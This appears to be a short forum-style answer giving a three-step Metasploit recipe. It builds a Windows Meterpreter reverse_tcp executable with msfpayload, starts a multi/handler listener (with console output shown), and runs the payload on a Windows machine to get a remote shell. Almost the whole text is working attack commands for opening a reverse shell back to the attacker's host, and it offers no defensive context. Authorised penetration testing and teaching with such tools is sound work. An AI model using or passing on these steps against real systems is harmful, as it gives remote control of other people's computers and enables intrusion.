Yes, you can do this.  There are three steps involved:

1. Generate an executable for the reverse/bind stager

You can do this by running:

$ msfpayload windows/meterpreter/reverse_tcp OPTS X > met.exe

2. Run the multi/handler exploit

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

3. Run met.exe on the Windows box

You should receive a connection and get the Meterpreter prompt just as
if you were using a normal exploit.
